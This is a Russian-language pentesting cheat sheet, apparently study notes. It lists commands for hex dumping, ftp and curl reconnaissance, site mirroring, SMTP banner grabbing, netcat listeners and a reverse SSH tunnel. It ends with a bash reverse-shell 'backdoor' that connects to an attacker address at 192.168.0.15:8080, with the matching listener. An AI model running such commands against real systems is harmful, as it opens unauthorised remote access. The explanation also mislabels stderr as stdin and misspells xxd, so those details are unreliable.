xdd - выводит на экран в двоичном или шестнадцатеричном формате -b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата -l - вывести кол-во байт двоичного или шестнадцатеричного файла -s - начать печать с позиции байта n xdd -s 35 -l 50 somefile.txtРазведка:
Просмотр вебсервера: ftp -n - запретить авто вход на сервер ftp -n 192.168.0.15 ftp 192.168.0.15 ftp 192.168.0.15 60 Просмотр веб сайта: curl -L -o output.html https://www.oreilly.com curl -LI https://www.oreilly.com curl -LIs https://www.oreilly.com | grep '200 OK' Копирование сайта себе: wget -p -m -k -P ./mirror https://digadel.com Самый простой способ перехватить баннер с SMTP сервера: telnet 192.168.0.15 25nc :
nc -l - прослушивать входящие подключения -n - запретить выполнение поиска dns -p - задать исходный порт для подключения и прослушивания -v - установить подробный режим Подключение: nc www.oreilly.com 80 Прослушивания: nc -l -v -n -p 8080Обратный SSH :
ssh -R 12345:localhost:22 user@remoteip ssh localhost -p 12345Бэкдор баш:
/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0 Здесь: /bin/bash -i - интерактивный режим баша < /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15, порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш. 1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного потока ввода (stdin)(дескриптор файла 0) В системе злоумышленника должен слушаться порт 8080 nc -l -v -p 8080